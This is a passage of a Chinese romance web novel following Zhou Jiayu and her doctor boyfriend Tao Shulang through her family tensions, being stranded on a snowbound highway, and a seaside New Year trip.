彭月华知道年轻女生面临的危险,更何况周家瑜。 周家瑜再三保证自己会早回家。 她向小区门口走去,想起小时候回爷爷奶奶家,村口有个池塘连着一条小河,夏天的时候不少小孩子都去河里游泳,周家瑜那时候只有几岁,只见过有人在游泳馆游泳,所以很好奇,想站在河边看看。 回家后,彭月华在厨房里做饭,周家瑜搬个马扎坐在门口扇蒲扇,吃着切成小块的沙瓤西瓜,母女两个在说话,周家瑜很喜欢彭月华给自己讲故事,故事曲折离奇,她的声音娓娓道来。 只不过今天彭月华讲的是村口那条小河的故事,她说其实河底住着一个身上有毛的怪物,眼睛有铜铃那么大,舌头红通通的,伸出来有尺子那么长。 周家瑜还记得当时彭月华放下正在择的青菜,还用手比划了一下。 她告诉周家瑜,“不要去河边,如果有人落单,河底的长毛怪会把小孩子拖走。” 这个暑期的小故事给周家瑜当时幼小的心灵留下了不小的阴影,她还记得当时是中午,外面是炎炎的烈日,树上还有恼人的知了在叫个不停,她却觉得胳膊上起了一排排的小疙瘩,自己的后背感觉凉飕飕的。 后来她就不去河边看别人游泳了。 直到十几岁的时候,周家瑜才恍然,小河里的水怪应该是彭月华害怕自己去河边,所以编了一个故事来吓唬自己,尤其是周家瑜看过聊斋之后更确定了这个想法,聊斋上面有一个鬼就是身上有毛,还青面獠牙,眼睛像铜铃那么大。 只不过她一直没有和彭月华求证过这件事。 彭月华很有可能会说不记得这件事了。 周家瑜参加工作后,因为长相出色,受到过不少男性凝视,有一次还真的差点被人拖走,现在她二十七岁了,仍觉得在安全方面真的是再 小心都不为过。 周家瑜理了理围巾,半张脸都埋在围巾里,好暖和。 她突然想起来,这是陶舒朗给自己买的围巾,他也有一条情侣款。 她双手插兜,信步走在青砖的人行道上,大路中间车子不断驶过,路边虽然没划车位线,但现在大冷天,交警一般也不会这个时间来查车,所以路边偶尔停着车也不稀奇。 前面路边有一辆黑车,快要经过的时候,闪着光泽的黑车车窗降了下来,周家瑜有些紧张,她被人搭讪也是有过的事。 “家瑜。” 车里的人叫她的名字。 听到熟悉的声音,周家瑜心里顿时变得轻松愉快。 陶舒朗下车走到她面前,用手挤了挤她的脸蛋,“冷不冷,怎么走路?” “我想走走,所以就提前下车了。” “你在这等我吗?” 陶舒朗把她抱在胸前,不看她的眼睛,仰着头去看天上有点朦胧的月亮,“对,在等一个小可爱。” 周家瑜看着他轮廓流畅的下巴,才意识到自己真的会不经意间不断被他的长相迷惑。 她身随心动,直接去咬他的下巴。 陶舒朗身体一激灵,“不要在外面咬我。” 周家瑜又轻咬了一下,“那你不要在外面抱我。” 刚说完陶舒朗把她抱得更紧了。 “还要不要在外面走走?”陶舒朗问道,口中出来一串白气。 周家瑜也呼出一串白气。 “哇,两个地球上的人类在冬天的夜晚呼白气。” 陶舒朗嘴角本来就是弯的,现下更是压不住了。 他低头在她嘴唇上重重地香了一记,周遭这会连偶尔的汽车都没有了,有些安静,所以这记亲吻声音有些大。 他低着头,她仰着头,两个人的眼睛看着彼此,“我不想散步了,这会在外面站着有点冷。” “你穿的什么裤子?” 说着陶舒朗伸手去摸,“是加绒的吗?” 周家瑜想了想,不太确定,“是的吧。” “冬天一定要穿保暖的裤子。” 陶舒朗说着搂着周家瑜上车,上车后他从后面拿出一个保温杯,“快喝点,里面是玫瑰桂圆茶。” 周家瑜摁开盖子,一股淡淡的香气,她倒了半杯吹了吹,自己先尝了尝,“味道不错,你也来点。” “味道是不错,因为是我煮的。” 周家瑜问,“什么时候煮的?” “下班前在办公室煮的。” 实际上,陶舒朗煮茶的时候,楼上另一个科室的同事正好路过,他们一块进的医院,那位同事路过就进来打了招呼,看见陶舒朗办公室桌上有养生茶,倒也没有什么怀疑,只说自己一会忙完过来喝点,还说陶舒朗过得有点子精致,自己忙得几乎都没时间吃饭上厕所。 下班时煮好的茶都被陶舒朗倒进保温杯带走,他把新的茶包放在了保温壶上面。 喝了茶,车里暖气开着,这会身体暖和起来。 陶舒朗开着车,周家瑜在喝热茶,车内安静平稳,两个人一起回家。【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 第31章克制 陶舒朗给周家瑜擦干净身体,她走出浴室,他也把自己擦干净,拿着浴巾去阳台。 陶舒朗掀开被子上床的时候周家瑜已经昏昏欲睡了,她还不忘抱怨一句,“你是不是瘾有点大?” 陶舒朗故意扰人清梦,在她耳边吹了一口气,她像一只动物一样缩回柔软的被子里,“你刚才不舒服吗?” 他又加了一句,“都快舒服哭了。” 周家瑜感到好气又好笑,她这会不困了,伸出手在他肚子上掐了一下,陶舒朗一直在健身,平时又注意饮食,所以一直有腹肌,看上去是硬的,触感又是软的。 “你什么时候练出一块腹肌?” 陶舒朗搂住她,两个人的身体大面积地接触,滑溜溜的,周家瑜洗完澡后的身体乳还是他给涂的。 这会也不用担心擦枪走火了,因为现在是贤者时间。 “我争取多吃,实现拥有一块腹肌的目标。” 周家瑜枕在他的颈窝里,“之前你想的时候怎么解决?” 他认真回忆了一下,记忆已经有点模糊了,“好像有一段时间几乎没什么想法。” 两个人深夜好像在探讨学术问题,她问,“怎么现在像发。情期?” 陶舒朗伸出手指摸了摸自己的鼻子,“有吗?” 她点了点头。 陶舒朗看了看她气色很好的脸蛋,只是现在有点疲惫,“是不是影响你休息了?” 她打了一口哈欠,在陶舒朗看来也是可爱到不行,“嗯,我很累,也很困。” “嗯,下次咱们商量好时间。” “见到你之后欲。望又汹涌而至,我也没办法。” “我见到你就想和你睡在一起。” 话越说越坦荡得露。骨,周家瑜不想听了,她伸出手指摸到他的嘴唇按住,陶舒朗不说了,捏住她的手指又亲了亲。 靠在他身上暖烘烘的,她现在很想陷入睡眠,“你越来越会了。” “那就好,我会继续努力的。” “我要睡了,不要讲话了。” 陶舒朗在她脑门上亲了一下,像她看过电视剧中的晚安吻,“睡吧,晚安。” 第二天彭月华接周家瑜一起去早餐店吃早饭,彭月华去取车的功夫,周家瑜给陶舒朗点了早餐外卖。 关城现在有一条街,逢五逢十还是有传统的集市,她们母女两个今天去赶集,周家瑜小时候盼着赶集,集市上的点心,烤地瓜还有现做的糖葫芦都比买回家的好吃。 去集市的路上堵车,周家瑜坐在副驾上,手机震动,一看是都姿来电。 都姿在电话那边兴致勃勃地说道,“昨天晚上快十二点的时候被饿醒了,突然很想吃现炸的薯条,还要蘸很多番茄酱的那种。” “吃的念头一起来,真的要立马吃到,自己在家吃不到,一想到就难过哭了。” 周家瑜小时候也有想吃什么就要立马吃到的经历,“所以最后吃到了吗?” “我们最后还是出去吃薯条去了,好满足,真是到目前为止我吃过的最好吃的薯条。” 挂掉电话后彭月华问了几句都姿的近况。 关于周家瑜的婚姻大事,彭月华的态度是顺其自然,她没有那么焦虑,她自己的婚姻并不幸福,她从这段婚姻中最大的收获就是有周家瑜这样的女儿。 在她眼中,周家瑜除了原生家庭父母关系不好之外,其余的全是优点,亲戚肯定也有想介绍的,尤其是每年过年的时候。 去年过年的时候周家瑜只除夕和初一在家待了两天,彭月华跟亲戚们的说辞是周家瑜在家过完年就去旅游了,是年前就定好的。 给她避免了串亲戚的琐碎和八卦。 实际上,周家瑜一直待在江城,因为回去带的东西很多还是彭月华开车送周家瑜回去的,母女两个去转了转最近网上比较火的连锁超市,周家瑜买了不少食材,中午她们两个在家里涮火锅。 周家瑜独居也有快三年的时间了,家里不少东西都是一人量。 包括涮火锅的电煮锅都是迷你锅,菜和肉摆了满满一桌,映衬之下,锅子有点小。 彭月华没嫌弃锅小,反而跟周家瑜要了链接,周家瑜点进去,发现价格比自己之前要的时候高了不少。 “等有活动的时候我再买,现在买不划算。” 彭月华当时看着周家瑜的精打细算心里有些安慰也有些心酸。 彭月华上班的公司规模不小,公司里不少有钱人,她知道有钱人花起钱来是什么样子。 彭月华在想自己是个普通人,来自一个普通家庭,只能给自己的孩子提供普通的生活。 所以她能一直忍耐周元明,因为他挣钱能力还不错,虽然最近几年也不给她们两个花。 彭月华婆婆生病的时候一直是她在照顾,周元明虽然有姐妹,但是家里只有他一个儿子,看病他出大头,彭月华尽心尽力地照顾婆婆,婆婆离世之前把唯一的房产给了周家瑜。 彭月华是财务,也 懂不少法律知识,等周元明听到风声的时候,自己母亲的房产已经归到周家瑜名下了。 周元明为此火冒三丈,还勒令周家瑜尽快把房子过户给他。 母女两个自然把他的话当作耳旁风,周元明跟她们的关系降到冰点。 这会周家瑜坐在自己身边,身上穿着和一个同事同款的大衣,前几天有个同事来财务交接工作,穿着一件很好看的大衣,看上去就价格不菲那种。 彭月华知道肯定不便宜,那个同事走后,办公室其他人谈论款式和价格,她今天看到周家瑜穿着这件同款大衣。 她在想,女儿年轻漂亮该穿好看的衣服,尽情打扮自己,反正都是周元明的钱。 想到这,她握了握周家瑜的手,“不要舍不得花钱,喜欢买什么就买什么。” 周家瑜一只手搭在大衣上,料子柔软有光泽,手感很舒服,这件大衣是陶舒朗买的。 他现在真的是财大气粗,钱对他来说可能只是个数字,是个工具而已。 周家瑜在想,希望自己有一天也能变成富婆。 找个有钱人?也是一种选择,但是自己变成有钱人最理想。 母女两个在集市上转了一个多小时,去之前彭月华把需要买的东西写在一张单子上,因为做财务,所以生活中做起事来也是很有计划一丝不苟。 买完东西后彭月华把周家瑜送回她住的小区,彭月华晚上不在家吃,和朋友约好了一起吃晚饭。 周家瑜拎着两袋东西上楼,没进自己家门,而是用脚踢了踢对面邻居的门。 门很快就被打开,陶舒朗穿着居家服,乍一看很有人夫感,像良家妇男。 行为也很像,他伸手轻巧地接过周家瑜手中重重的手提袋。 “都买的什么?” “过年用的东西。” 周家瑜换完鞋瘫坐在沙发上,放空中突然想起最近网上的一个热词,打猎回来,现在她有一种打猎回来的感觉。 陶舒朗走过来,身上一股好闻的味道,他给周家瑜开始按胳膊,被按的人一副很享受的表情,“哇哦~” 按完胳膊陶舒朗又拍了拍她的大腿,“趴好。” 周家瑜不合时宜地想起昨天夜里某些让人心跳加速的细节。 她还没开始行动,陶舒朗已经自主地把她翻面了,开始给她按摩颈部和背部。 周家瑜头埋在抱枕里,声音因为太舒服有些破音,“陶医生,你真的有两把刷子。” 陶舒朗当医生已经有三年了,别人整天叫的就是陶医生,今天是第一次被周家瑜这么叫,他的耳朵接收到,然后内心深处好像被人撩了一下。 他边给她按摩边问,“你刚才叫我什么?” “小陶。” “不对。” “陶舒朗。” “也不对。” 陶舒朗的手朝她腰间滑过去,周家瑜平时怕别人挠她痒,她本能地缩了一下答,“陶医生。” 然后她自己转过身来,看着他的眼睛问,“喜欢吗?” “喜欢。” 陶舒朗捧着她的脸印上了自己的唇。 因为两个人平时不常见面,陶舒朗虽然尽力每个星期都去江城,但也有很忙的时候,失约的情况也会有,所以两个人见面的时候,有时候真的会控制不住自己。 几秒钟后,两个人已经肢体不断纠缠着进卧室了。 周家瑜还有点搞不清状况,前一秒还在沙发上享受按摩,下一秒对了对眼神,这会人已经陷进舒适的床品里去了。 她用一根手指印在陶舒朗嘴唇上,他的唇形很好看,他停下不断的亲吻,像欲。望满足前的克制等待,这种感觉更让人沉迷和回味。 “你有没有觉得有点频繁?” “见面后确实是有点,但是平均到每一天里,不算频繁。” 周家瑜被他说的哭笑不得,她笑起来,嘴角有好看的梨涡,陶舒朗手指停在她梨涡旁,想碰触,又怕打扰到它,它会消失。 他抑制住不断的悸动,用一副商量的语气,“那你现在是要自己睡一下,还是和我睡。” 后面他又加了一句,“你知道,我很会哄睡的。” 这个周家瑜当然知道,两个人在一起的很多个夜晚,周家瑜都是累极直接秒睡过去,善后清洁的工作常常都是陶舒朗在做。 反正她一早醒来全身上下是清爽的。 外面正是日落时分,冬日的夕照,即使灿烂,也带着清冷的蓝调氛围,几重渐变色的天空和城市的天际线融为一体浑然天成。 室外的落日透过落地窗上的白色轻纱帘映在床上,上面的床品已经变得凌乱不堪,床边是十指紧紧交握在一起的双手。 第32章 第32章求之不得 临近过年的几天,周家瑜在网上买东西,因为快递快停了,她买了一些吃的,直接寄到关城,收件人是陶舒朗。 之前陶舒朗经常给自己买吃的,自己给他买算是礼尚往来。 两个人每天视频聊天,陶舒朗还在视频那头开箱,大多是周家瑜觉得还不错的零食,陶舒朗再现场试吃一下。 周家瑜看着镜头里面的他,在想,自己可以做一个副业,专门拍他开箱吃东西。 应该会火。 好在两个人的口味还差不多,周家瑜最近喜欢一款芥末味的夏威夷果仁,陶舒朗这会在那边正在试吃。 “味道怎么样?” “嗯,有点特别。” 那应该是吃不惯。 “那你放好了,等我回去我来吃。” 陶舒朗家里现在有专门的零食架,主要是周家瑜在吃,两个人一起在家的时候,周家瑜吃东西,陶舒朗坐在一边看手机或者文献,经常不知不觉地被她投喂。 周家瑜选零食也不是来者不拒,也会注意热量,尽量避免高盐高糖零食,所以陶舒朗一般不会约束她吃零食,也不会在她耳边唠叨吃零食不好之类的。 他可能会做一些好吃的,让周家瑜想不起来去吃零食。 陶舒朗家里收到一堆快递的时候,周家瑜放年假回关城了。 过年周家瑜肯定要和彭月华一起过,周元明应该不回家,他现在就在小卖部住,像个居士隐居在那里,小卖部是个两层小楼,下面是超市,上面是住处。 周家瑜问陶舒朗,“你过年去哪边?” 陶舒朗面色平淡,“去年我是自己过。” 他跟周家瑜解释了一下,“我爸已经有了新的家庭,我也已经上班了,也应该有自己的生活。” 周家瑜握了握他的手问,“你想吃什么馅的饺子?” 陶舒朗从刚才就一直看她,他的眼睛亮起来,“可以选馅吗?” “只做参考。” 大年三十下午,周家瑜在家和彭月华一起包饺子,包了两种馅,一种是陶舒朗想吃的,还炒了两个菜,因为家里就两个人,做多了浪费。 早早吃完饭周家瑜去给周元明送饭,他在电话那头说不用,但是今天毕竟是过年,还是要送点。 周元明出院之后父女两个就没见过面,他过年不回家这件事,之前没有过,今年是第一次,周家瑜发现他年纪越大越任性,也不听人劝,万事完全按照他自己的想法来。 她在想有点经济基础的中年男人是不是有很多都是这样。 周家瑜把保温盒放在店里的柜台上,周元明手机里放着视频,音量很大。 周家瑜在店门口站了一小会,周元明低头吃着东西,“爸,你慢慢吃,我先回去了。” 在一直播放的视频中,周元明点了点头。 出门后,周家瑜把刚才那些不适抛在脑后,和周元明的关系变得不好,她改变不了,关系不好的原因应该是自己不是男孩,并且还收了奶奶那套房子,直接影响到了他的切身利益。 自己的性别当然不能改变,并且她觉得自己这辈子做女的挺好,到手的房子她不会再送给别人。 关系就这么一直僵持着,利益上的矛盾和冲突导致情感上的日益冷漠。 她上车之后给陶舒朗打了电话,告诉他 自己马上过去。 周家瑜开车到楼下的时候,陶舒朗正站在那里,小区虽然禁止燃放烟花爆竹,但是有小孩正在楼下点鞭炮和烟花。 物业工作人员也要过年,所以也就睁一只眼闭一只眼。 周家瑜从小就不喜欢鞭炮的响声,她捂住一只耳朵,另一只手拎着袋子朝陶舒朗走过去,走到陶舒朗跟前的时候,她想把袋子递给他,自己好把耳朵都捂住,结果刚走到他跟前,自己的耳朵就被人捂住了。 陶舒朗捂住了她的耳朵,鞭炮的声音小了很多,两个人一起看着不远处车库前几个小孩在躲闪着放鞭炮。 日子好像一年又一年,很快就过去了。 每天好像都一样,每一年好像都一样,但是过几年回头一看,好像大不一样。 楼下断断续续的鞭炮声还在继续,桌子上摆着几道菜,还有刚刚煮好的水饺。 周家瑜在家已经吃得差不多了,但拿起筷子象征性地尝了尝陶舒朗做的菜,只要是两个人在一起,基本上是陶舒朗做饭,他喜欢研发新菜式,喜欢烤东西,用他自己的说法,做饭解压。 周家瑜独居久了,知道一个人要维持基本的正常生活需要付出很大的气力,被人投喂这件事她求之不得。 陶舒朗厨艺一直不错,他吃饭前拍了几张照片。 周家瑜坐在他对面,托着下巴看着他吃饭,“要不要看春晚?” “听你一说,才意识到好像很久没看过春晚了。” 周家瑜点头,“感觉还是小时候的好看。” 最后电视机也没打开,两个人只是坐在一起吃了年夜饭,外面是鞭炮声和小孩子喊叫的声音。 初二的时候两个人就开着车一路向东,他们打算去海边走走,这个季节海边有成群的海鸥在觅食,有不少人专门去海边喂海鸥。 当然只是出发前的一个念头,冬天吹着海风在海边喂海鸥应该不是什么美差。 一路上道路宽敞平坦得让人想睡过去。 路过植城服务区,吃完饭加满油休息了一会继续出发,谁知半路上竟然下起了大雪。 一小时后两个人被困在一长串的车流中,车载广播中传出高速交通管制的通知,听到这个消息,两个人的表情都很平静。 白茫茫的路面,前面挡风玻璃上扑面而来的雪雾,不少人下车活动手脚,周家瑜也打开车门下车。 另一侧陶舒朗也下车,他走到后面打开后备箱,拿出两个大的行李袋放到车子后排。 : 出发前一天陶舒朗一直在收拾行李,但当时行李好像没有这么多。 周家瑜在地面上活动了一下手脚后赶紧上车来,外面太冷了。 “你刚才拿的什么东西?” 陶舒朗正在打开行李袋,从里面拿出一条厚实的毯子,“快把毯子围在身上。” 周家瑜有点震惊,“你是会算不成?” 陶舒朗的脸上带着笑意,仔细一看,眼睛里还带着一些小满足。 他低头在袋子里找着东西,“我要是会算,我们就不出门了,”接着拿出几片暖宝宝递给她,“快点贴上。” 开始被困后,陶舒朗像哆啦A梦一样变出了不少东西。 周家瑜舒服地窝在副驾上,“哇,你提前备了这么多东西,我们去荒野求生应该也没问题。” “嗯,下次我会带帐篷。” 刚才在服务区两个人把保温杯里灌满了热水,里面泡了周家瑜爱喝的枣茶,陶舒朗的杯子里是白茶陈皮。 茶倒好后,周家瑜去跟陶舒朗碰杯,两个人的杯子是同款不同色,“干杯。” 陶舒朗脸上的眼神松软,“干杯。” 这时候广播里传来新的消息,铲雪车正在赶来的路上。 毯子很长,他们两个一人一半,周家瑜望着前面的车屁股,再看了看阴沉的天色,外面像大片里的逃难末日,车里是一个舒服自在的小天地。 “不知道什么时候才能通车,我还是少喝一些水。” “如果想上厕所怎么解决?” 说完她看了一眼陶舒朗,“车上有没有饮料瓶?” “还是你们男生比较方便。” 陶舒朗伸手捏了捏她细滑的脸蛋,手指又在她下巴流连了两下,“即使是男的这个姿势也难受的。” 周家瑜眼睛睁大,“看来你有经验。” 和周家瑜分手后的第一个冬天,那个时候关宴青转到江城住院,陶舒朗在关城上班,每天只要有时间他就会开车去江城医院。 母子两个变得无话可说,一个被病痛折磨面临生死,一个被失恋折磨得生不如死,关宴青脸色蜡黄憔悴,陶舒朗是逐渐变瘦。 过年的时候陶舒朗有了几天的假期,他选择出门自驾游,他从小到大一直按部就班地做事,很少有什么差错,让他有一种万事皆可掌握的淡然和平静。 然而最近这一年家里的变故,和周家瑜的分手,他的世界倾倒之后,觉得世事无常,有些事即使在计划之中也无法受控。 原本在他的计划中,他和周家瑜参加工作后还是会继续在一起,订婚结婚都会很顺利自然。 这次他的自驾游没有目的地,他一直向南开,像是游离在真实的世界之外,车子需要加油的时候就停靠服务区,需要吃饭和睡觉的时候就进城休息,他心中荒芜,眼中只有开车这一件事。 第三天的时候高速路牌上的地名已经陌生到连听都没听过,路上遭遇了冻雨,接着他被困在高速上一天一夜。 还好车上有一些吃的喝的,还有一包暖宝宝,陶舒朗和周家瑜大学时就是普通家庭的大学生,冬天出门时外面冷,周家瑜是夏天不抗热,冬天不抗冻,冬天两个人出门的时候陶舒朗就会常备暖宝宝。 现在她人已经不在自己身边,但是陶舒朗还是有携带暖宝宝的习惯,他在储物箱里拿出两片贴在自己身上。 陶舒朗思绪从过去的回忆中抽离,“有过一次,后来趁着天黑去路边解决了。” “没关系,你正常喝水就行,如果想上厕所在车后排解决。” 周家瑜想了想自己在后排解决生理问题的场景,尤其是前面还有陶舒朗在,她感受有点复杂,觉得如果能憋还是憋一会。 车子困在车流里不动,时间像静止一样,她突然后知后觉地意识到,最近生活中的问题好像都是陶舒朗在解决,自己慢慢地变成了甩手掌柜。 陶舒朗这个人好像一直就是传言中的爹系男友,而且有越来越爹系的趋势,虽然周家瑜从自己父亲那里都没有受到过如此无微不至的照顾和关怀。 她扭头看着车窗外洋洋洒洒的雪花,问他,“我们两个,你一直是照顾我的那一个,有时候会不会觉得很辛苦?” 陶舒朗想了两秒后回答她,“不会,甘之如饴。” 周家瑜还是扭着头,她感觉一股强烈的酸意直冲鼻腔,她的眼里即刻就有了泪水,她在心里默默地评价自己,关键时刻泪点真的是有点低。 陶舒朗伸出手去摸她的背,她更向车窗的方向躲去,他只好问她,“这个时候,你不抱抱我吗?” 下一秒她被人大力拽进怀里,两个人四目相对,眼里都有泪,眼睛都是红的,他低头不断亲在她的脸上和唇上。 又加了四个字,“求之不得。” 第33章 第33章给你花 最后他们在高速上困了三个小时,陶舒朗防患于未然,但准备的不少东西都没用上,接下来的路程一路畅通无阻。 两个人在海边待了三四天的时间,每天就是出去转转,顺便在外面觅食,周家瑜主要做吃的攻略,陶舒朗主要做景点的攻略,黄城有建得很好的别墅群。 两个人在蜿蜒的街道上欣赏颜色各异的房子,他们停在一栋非常有历史感的房子们面前,周家瑜看着门口的铭牌,忍不住地想几十年之前这里发生了什么故事。 在路边又遇到了一对正在教堂前拍婚纱照的新人,周家瑜看着穿着婚纱的新娘,她的身后是长长的裙摆,冬天穿婚纱拍照,神态自若,真的好厉害。 周家瑜有点替别人发冷,她下意识地裹 了裹身上的棉服,陶舒朗站在她身旁,把她搂进怀里,问她,“冷吗?” “这会要不要回去?” 她摇了摇头,陶舒朗牵住她的手,低头在她头发上亲了一下。 “休息一下,去买点喝的。” 冬日的太阳斜照进暖和的咖啡店里,他们两个面对面坐着一起喝着东西,透过咖啡店临街的大玻璃,看到马路对面不远处的一家店门口排起了长长的队伍。 排队的人大多是老头老太太。 那家店外面招牌上的店名有点古早,风格好像还在计划经济时代,临街还开了售卖窗口,外面挂着白板,上面用粉笔字板板正正地写着各种馅料的面包和价格。 面包名字和价格都很有吸引力。 陶舒朗看她的样子,伸手轻轻地刮了刮她的鼻子,“看看想吃什么味道的?” 他看了看外面长长的队伍,对周家瑜说,“我看我先出去排队,你在这里待着,想好了什么口味跟我说。” 周家瑜可以想象他在那排队的场景,肯定是边排队边看手机,说不定还能记住好几个知识点,还能看一段论文。 还不如在这里喝着东西聊天。 “我只是有点好奇,人好多得排队,别去买了。” “难得来一次,不吃会留下遗憾。” 陶舒朗个子高,黑衣黑裤,温和雅致地站在那里排队,周家瑜隔着窗户给他拍了几张照片,拍完照片后她把照片放大了看,看看照片又看看窗外的人。 人有时候会对自己的生活有种不真实的感觉,她坐在咖啡店里,店里是好闻的咖啡味道,外面有人在冷风中给自己排队买面包。 此时此刻,她就有一种不真实的感觉。 陶舒朗买回来好几种口味的,让她都尝尝,好吃的可以多买一些带回去。 他科室的同事工作忙碌之外都是饕餮,零食一般也是来者不拒,医生会养生看看上班时长和作息时间就不太可能。 晚饭吃的韩国烤肉,周家瑜喜欢那家的泡菜和土豆泥,她吃了一口土豆泥跟陶舒朗说好吃,被路过的服务员听到,又给他们上了两份土豆泥。 吃完饭他们走路回住的地方,他们住的酒店环形落地窗外可以看到红白相间的房子和大片的海景。 来之前关于在哪里住宿,两个人也进行了一番讨论。 周家瑜独居的三年有时候会自己出门旅游,她自己独自夜里爬过山,那座山之前和陶舒朗在一起的时候爬过。 两个人夜里爬的,因为想看第二天的日出,现在想想不知道日出的魅力为什么会这么大,因为夜爬的人真的很多。 虽然天气预报说第二天晴天,但是那次两个人没有看到日出,感情浓时两个人只要在一起就很甜蜜,有时候事情结果不如预期,那又怎么样。 周家瑜还记得两个人夜里一点多到达山顶,山顶上的人大都穿着军大衣保暖,她刚开始嫌弃大衣不干净,穿着自己的羽绒服,但后来扛不住了,也穿上了军大衣。 穿上大衣之后两个人像瞬间穿越时空,感觉有点新奇,他们看着彼此在笑。 陶舒朗给她裹紧身上的大衣,“现在感觉是不是暖和多了?” “嗯。” 看着远处山下的夜景,头顶是暗蓝色的天空,周围几乎所有平坦的石头上都坐满了人,周家瑜靠在陶舒朗怀里,两个人一起等着明天的日出,身下的石头真的硌人,但她心里是暖融融的。 周家瑜独自去爬的那次倒不是提前计划好,只是刚搬家不久,新地址第一次收到了快递,是一双暗粉的登山鞋,穿在脚上很舒适,她临时起意,决定要穿着这双鞋去爬山。 赶去高铁站的路上,她在想,如果能赶上高铁就去,赶不上就不去了,最后她在验票马上结束之前登上了末班车。 夜爬的过程,她只管闷头向上走,一个台阶接着一个台阶的,周围的风景几乎是看不见的,只看到路灯下黑黢黢的石头和古朴的各式松树,身上一直在流汗,停下来汗水晾干又觉得冷,循环往复。 因为山上的东西都不便宜,她自己背了不少水和吃的,爬的过程中水已经变得很凉,每一口都要在嘴里暖一下再咽下去,毕竟出门再闹肚子体验就很糟了。 她在夜里两点多到达山顶,有了之前的经验她这次直接租了衣服,快到顶峰的时候她遇见了一队组团爬山的人,有男有女叽叽喳喳,说要走一条近路。 周家瑜听见后不由自主地跟了上去,那条路确实是近,很少有人走是因为它危险,山顶上光线更差,等她四肢并用爬过一块大石头的时候才发现自己左侧就是一个小悬崖。 她向下看了一眼,只看到高低不一的模糊树冠,那一刻真的觉得背上发紧腿脚发软,如果自己不小心掉下去真的就直接告别这个世界,并且还会上新闻。 某刚毕业大学生夜里爬山不慎坠入悬崖身亡。 失恋之后她是觉得世事无常,但她唯一可以确定的就是她还没活够。 终于爬到了安全处,平台上周围人头攒动,有人走动,有人坐在石头上聊天或者休息,她有种劫后余生的感觉,找到了一块还算平坦的石头,安稳地坐在那里等待日出。 日出有什么魅力吗,她不知道,但她就是来了,这次还是夜爬。 夜爬体力和心力会双重消耗,她坐在那里,什么都不想,只想放空自己的思绪,慢慢地身体上的疲惫感席卷而来,眼皮越来越沉。 为了保暖,她戴着帽子口罩还有手套,外面裹着租来的厚衣服,里面羽绒服贴着暖宝宝,等她再次清醒的时候,两只腿都已经失去知觉了,周围越来越安静,山顶上的人大都已经三三两两地睡去。 眯了一会这会她倒是不困了。 抬头望向夜空,天空还是暗蓝色,跟之前没有什么不同,仔细一看也有些不同,这次有很多星子。 她感觉自己像是在世界的尽头。 第二天,天蒙蒙亮的时候,她再次从嘈杂的梦境中醒过来,跟着人群不断向前挤,最后到了一个不错的位置,大家大都穿着租来的衣服,颜色都是一样的,也大都在山上过了夜,一大早蓬头垢面,有些像难民。 也像一群已经开化的猴子。 占山为王,等待日出。 半小时后她在山上终于看到了日出,周围全是举着手机拍照或者录像的人,她手机还在羽绒服里,自己只想用眼睛记录下这个难得的时刻。 她在心里对自己说,生活会有新的开始。 万事还有自己在。 她自己出游的时候会考虑安全性也会考虑出行成本,住宿方面她会住性价比比较高的平民连锁酒店。 这次出行最后两个人也住了连锁酒店,不过是五星级别的。 出发前一晚,两个人分别占据沙发的两侧,周家瑜的小腿放在陶舒朗的大腿上,听见他要预定的酒店名,她问,“这个是不是五星级酒店?” 他嗯了一声,眼睛还看着手机页面。 “现在是过年旺季,价格应该很高吧。” 周家瑜虽然有预料,但是打开预订页面,看到大床房一晚上的价格还是有些震惊。 “这跟抢钱有什么区别?” 她提议,“我们还是再看看其他酒店。” 她给陶舒朗说了一个酒店名,自己之前出游经常会住的那家,积分多了房价还可以折上折。 自己之前出去旅游这件事她没有说。 “你说的那家我也住过,隔音有问题,卫生间可能还有异味。” 卫生间有异味,这个周家瑜好像也有点不适应,有气味的卫生间保洁可能直接喷上芳香剂遮盖,最后各种味道混合到一起更让人有点窒息。 这个问题,解决办法也很简单,平时不用卫生间时把门关上就好了。 对她来说,除了安全就是性价比。 周家瑜想起两个人还是穷学生时,他们一起出游住的酒店也好不到哪里去,有时候半 夜还能听到隔壁的求偶声音。 当时两个人躲在被子下面也很开心。 “出去旅游我想和你分担一些费用。” 陶舒朗听到后抬头看她,她问,“难道你想有个人完全依赖你,完全花你的钱吗?” 他想了想,“其他人我没有想过这件事,因为也没人来花我的钱,如果那个人是你的话,我完全没意见,甚至觉得这是很自然的一件事。” “我挣钱就是给你花的。” 周家瑜突然被这句话击中了,她没想到,挣钱给你花威力比我爱你要大。 她又想,生活中哪有那么多理所当然。 “我已经上班了,收入也还可以。” 陶舒朗想了想,“这样,这次我来,下次你来。” “也可以。” 他还是订了刚才那家酒店,“就住这家吧,出去玩要住好的地方,这样才能休息好。” 周家瑜蹭到沙发的另一头,陶舒朗放下手机,把她抱在自己胸里,两个人身上盖着暖和的毯子,毯子下面肢体纠缠。 “下次你想去什么地方,我请客。” 周家瑜突然福至心灵,“你不会想去个很近能一天来回的地方吧?” 陶舒朗脸上有很认真的思考表情,“下次我们去隔壁市美食一条街怎么样?” 他又说,“听同事说的不错,我想去很久了。” 周家瑜手指穿过睡衣的袖口在他胳膊上滑动,闻言去掐他手臂上的肌肉,真的硬,真的掐不动,陶舒朗配合她的动作发出嘶的痛声 这会在黄城,两个人吃完晚饭回到住的酒店,他们在等电梯,电梯厅里有好看的吊灯,周家瑜抬头看,陶舒朗在旁边顺势揽住她。 回到房间,洗漱完准备睡觉时周家瑜胃部发酸,有点不舒服,她想可能是好吃的泡菜和土豆泥惹的祸。 在这种时候陶舒朗作为医生的优势就显现出来了,在他的指导下,周家瑜做了几分钟的深呼吸动作,感觉好多了,喝了半杯温水后在床上继续酝酿睡意。 出来旅游,每天做的事情就是多,正想着,旁边的床垫微动,陶舒朗也洗漱完上床来,他身上带着清爽的气味,洗漱用品和浴巾之类的都是自带的。 周家瑜把他的手放在自己肚子上,陶舒朗支着胳膊,侧躺着慢慢地给她揉肚子,眼睛一直看着她白皙的脸庞。 周家瑜很少做头发,头发是纯黑的那种,这会头发散开,脸上是一副享受的表情。 他问,“好点没有?” 她没说话,只哼了两声。 听声音就知道好多了。 周家瑜不知不觉地睡过去,醒来的时候半夜了,窗前是厚重的避光窗帘,房间内真的伸手不见五指,她想了一会才反应过来自己出来旅游了。 自己可能是太累了,本来打算睡觉前两个人再说会话的,结果自己先睡着了,她摸了摸旁边,有一具温热的身体。 她亲了亲身旁人的嘴角,亲之前先用手摸了摸确定方位。 陶舒朗已经醒了过来。 他声音有点低沉的暗哑,“这会醒了吗,肚子好点没有?” 